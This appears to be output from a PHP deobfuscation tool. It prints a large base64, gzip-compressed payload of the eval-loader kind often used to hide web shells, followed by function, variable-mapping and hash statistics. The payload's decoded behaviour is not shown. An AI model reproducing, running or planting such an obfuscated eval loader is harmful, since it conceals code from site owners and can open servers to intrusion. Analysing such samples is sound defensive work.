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')));

Function Calls

gzinflate 1
base64_decode 1

Variables

$P 4
$XE i
$bw d
$cH b
$gQ gzinflate
$gu z
$iO n
$GqX s
$ast t
$mpy c
$nom o
$wGK e
$ZnUq a
$ePpE 6
$pPdi f
$GBPBD g
$XHXyA _
$ZiwpR base64_decode
$emqDZ l

Stats

MD5 b89cd834a4879c601016647dee70e14f
Eval Count 1
Decode Time 113 ms